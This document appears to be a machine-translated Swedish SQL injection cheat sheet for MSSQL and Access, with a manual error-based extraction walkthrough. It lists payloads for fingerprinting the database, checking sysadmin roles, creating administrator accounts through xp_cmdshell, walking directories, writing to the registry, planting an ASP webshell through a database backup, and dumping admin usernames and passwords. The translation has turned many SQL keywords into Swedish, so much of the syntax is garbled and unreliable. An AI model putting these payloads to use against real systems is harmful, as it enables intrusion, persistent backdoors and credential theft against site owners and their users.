1. Fastställa om det finns en injektion ; och 1=1 ; och 1=2
2. Preliminärt bedömning om det är mssql ; och user>0
3. Bedöm databassystemet ; och (välj antal(*) från sysobjects)>0 mssql ; och (välj antal(*) från msysobjects)>0 åtkomst
4. Injektionsparametern är en karaktär 'och [frågekriterier] och ''='
5. Det finns inga filtrerade parametrar under sökningen 'och [frågekriterier] och '%25'='
6. Gissa namnet på bordet ; och (välj Antal(*) från [tabellnamn])>0
7. Gissa fältet ; och (välj Count (fältnamn) från tabellnamn>0
8. Gissa längden på rekordet i fält ; och (välj topp 1 len(fältnamn) från tabellnamn>0
9. (1) Gissa ASCII-värdet för fältet (åtkomst) ; och (välj topp 1 ASC(mid(fältnamn, 1,1)) från tabellnamn)>0
(2) Gissa ASCII-värdet för fältet (mssql) ; och (välj översta 1 unicode(substring(fältnamn,1,1)) från tabellnamn)>0
10. Testbehörighetsstruktur (mssql) ; och 1=(välj IS_SRVROLEMEMBER('sysadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('serveradmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('setupadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('securityadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('diskadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('bulkadmin')); -- ; och 1=(välj IS_MEMBER('db_owner')); --
11. Lägg till ett konto för mssql och systemet ; exec master.dbo.sp_addlogin användarnamn; -- ; exec master.dbo.sp_password null, användarnamn, lösenord; -- ; exec master.dbo.sp_addsrvrolemember sysadmin-användarnamn; -- ; exec master.dbo.xp_cmdshell 'Nätanvändaranvändares användarnamn lösenord /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'nätanvändaranvändare, lösenord /add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators användarnamn /Add'; --
12. (1) Gå igenom katalogen ; skapa tabell-direktorat(paths varchar(100), id int) ; infoga dirs exec master.dbo.xp_dirtree 'c:\' ; och (välj topp 1-vägar från dirs)>0 ; och (välj topp 1-vägar från dirs där vägar inte är i ('vägar erhållna från föregående steg'))>)
(2) Gå igenom katalogen ; skapa tabelltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert temp exec master.dbo.xp_availablemedia; -- Hämta alla strömdrift ; infoga i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en lista över underkataloger ; infoga i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hämta katalogträdsstrukturen för alla underkataloger ; infoga i temp(id) exec master.dbo.xp_cmdshell 'typ c:\web\index.asp'; -- Visa innehållet i filen
13. Lagrade procedurer i mssql xp_regenumvalues Registerrotnyckel, barnnyckel ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnerar alla nyckelvärden i flera postuppsättningar xp_regread Rotnyckel, barnnyckel, nyckel-värdenamn ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnerar värdet på set key xp_regwrite Rotnyckel, barnnyckel, värdenamn, värdetyp, värde Det finns två typer av värdetyper REG_SZ REG_DWORD för teckentyper och för heltal ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' till registret xp_regdeletevalue Rotnyckel, undernyckel, värdenamn exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' för att ta bort ett värde xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' för att ta bort nyckeln, inklusive alla värden under den nyckeln
14. mssql-backup skapar ett webshell Använd modellen skapa tabell-cmd (ST-bild); infoga i cmd(str)-värden ('<% Dim oScript %>'); säkerhetskopiera databasmodell till disk='c:\l.asp';
15. MSSQL inbyggda funktioner ; och (välj @@version)>0 för att få Windows-versionsnumret ; och user_name()='dbo' för att avgöra om den anslutna användaren av det aktuella systemet är SA ; och (välj user_name())>0 Exploderade de anslutna användarna av det aktuella systemet ; och (välj db_name())>0 för att få den aktuella anslutna databasen
MSSQL handannoterad databasöverträdelse
1. Visa det aktuella tabellnamnet och kolumnnamnet Skicka in "'having 1=1--" efter injektionspunkten för att få returmeddelandet på engelska, där du kan se ett tabellnamn och ett kolumnnamn. Skicka in "group by the listname som har 1=1--" för att få ett annat kolumnnamn; Fortsätt att skicka in "group efter listan över den exponerade tabellens namn, namnet på den exponerade tabellen." Andra kolumnnamnet har 1=1--", vilket ger dig ett annat kolumnnamn. Commit på samma sätt tills sidan inte längre ger felmeddelanden för att hämta alla kolumnnamn. Kuriosa: Våldsamma tabellnamn och kolumnnamn används i kombination med GROUP BY i SQL-satser för att göra villkorliga bedömningar. Eftersom satsen är ofullständig returnerar databasen ett felmeddelande och visar ett tabellnamn och ett kolumnnamn. Basic-metoden kan bara visa den aktuella tabellen i databasen, och om en tabell innehåller många kolumnnamn är det mycket svårt att använda basic-metoden.
Först. Alla databasnamn exponeras Använd satsen "and 0<>(select count(*) from master.dbo.sysdatabases där name>1 och dbid=[N])" för att visa godtyckliga tabellnamn och kolumnnamn i databasen, där "[N]" representerar den n:te tabellen i databasen. Steg 1: Efter att ha injicerat punkten, skicka in följande sats: "och 0<>(välj antal(*) från master.dbo.sysdatabases där name>1 och dbid=12)", eftersom värdet på dbid är från 1 till 5, vilket används av systemet, så användaren måste ha byggt det från 6, och vi har skickat in namnet>1, namnfältet är ett teckentypfält, och jämförelsen av siffror kommer att vara fel, så efter inlämning kommer IE att returnera följande information: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konverterar nvarchar-värdet 'Northwind' till datatyp int kolumn. På detta sätt exponeras värdet av namnfältet, det vill säga vi får databasnamnet "Northwind". Att ändra värdet på "dbid" kan få alla databasnamn.
och 0<>(välj räkning(*) från master.dbo.sysdatabases där name>1 och dbid=[N])-- Modifiera N för att explodera alla databasnamn från 6
För det andra. Exponera alla tabellnamn i den angivna databasen Efter att ha fått databasnamnet behöver du nu hämta alla tabellnamn i biblioteket, skicka in följande sats: "and 0<>(select top 1 name from master.dbo.sysobjects där xtype='U')", här är tabellnamnet i masterdatabasen, och SQL-satsen för frågan returnerar värdet av name, och jämför sedan med siffran 0, så att värdet av name exponeras. Efter inlämningen avslöjades bordets namn "'spt_monito". Därefter exponeras de andra tabellerna, och följande sats skickas in: "and 0<>(select top 1 name from master.dbo.sysobjects där xtype='U' och namn inte i('spt_monito'))", och en annan tabell med namnet "cd512" exponeras. Fil "och namn inte i(' spt_monito',' CD512',..))" Du kan ta reda på alla bordsnamn.
och 0<>(välj översta 1-namnet från [ange databasnamn].dbo.sysobjects där xtype='U')-- och 0<>(välj översta 1-namnet från [ange databasnamn].dbo.sysobjects där xtype='U' och namn inte in('[Exploded table name]'))-- och 0<>(välj översta 1-namn från [specificera databasnamn].dbo.sysobjects där xtype='U' och namn inte är i('[Explosivt tabellnamn]', '[Exploderat andra tabellnamn]')))--
4. Visa alla kolumnnamn i den angivna tabellen och 0<>(välj räkning(*) från bbs.dbo.sysobjects där xtype='U' och name='admin' och uid>(str(id))) Konvertera ID-värdet till en teckentyp och jämför det sedan med ett heltalsvärde. ID-numret är ute. Värdet är: 949578421 namn='tabellnamn'
och 0<>(välj översta 1-namn från wutong.dbo.syscolumns där id=949578421)-- Ett fältnamn i admin-tabellen exponeras
Skicka in igen och 0<>(välj översta 1:a namn från wutong.dbo.syscolumns där id=949578421 och namn inte i('adduser')))-- Fil "och namn inte i(' spt_monito',' CD512',..))" Du kan hitta alla fältnamn i admin-tabellen.
och 0<>(välj count(*) från [ange databasnamn].dbo.sysobjects där xtype='U' och name='[Tabellnamn på fält som ska explodera]' och uid>(str(id)))--ID-värdet för tabellnamnet på fältet som ska explodera
och 0<>(välj översta 1-namnet från [ange databasnamn].dbo.syscolumns där id=exploded id-värde)-- Namnet på ett fält i exploding id-värdetabellen
och 0<>(välj översta 1-namn från [ange databasnamn].dbo.syscolumns där id=Explosivt id-värde och namn inte i('[Exploded field name]')))--
5. Läs datan i den angivna tabellen
och 0<(välj A_ID från wutong.dbo.admin där A_UserID>1) – innehållet som bröt A_PWD
och 0<(välj [ett fält som finns] från [ange databasnamn].dbo.[tabellnamn för fråga] där [fältnamn för att explodera innehåll]>1)--
och 0<(välj A_ID från wutong.dbo.admin där A_PWD>1 och A_UserID='admin')-- Adminens lösenord avslöjas
och 0<(Välj Topp 1 A_UserID FRÅN admin där A_ID<>1)-- Administratörens namn id<>1 (fuhao)
och 0<(Välj Topp 1 A_UserID FRÅN admin där A_ID <>1 och A_UserID <> 'fuhao')-- Namnet på den andra admin <> inte lika med (tuiguang)
och 0<(Välj topp 1 A_UserID FRÅN admin där A_ID <>1 och A_UserID <> 'fuhao' och A_UserID <> 'tuiguang')--
Efter att ha känt till tabellnamnet och kolumnnamnet på databasen kan du använda "query-satsen" för att läsa all information i databasen. Till exempel, om du vill läsa den n:te datan i en kolumn i en tabell, kan du skicka in satsen: "och (Välj topp 1:e kolumnnamn FRÅN tabellnamn där id=[N])>1" ([N] representerar den n:te datan i kolumnen), och du kan känna till önskad data från informationen som returneras av IE.
|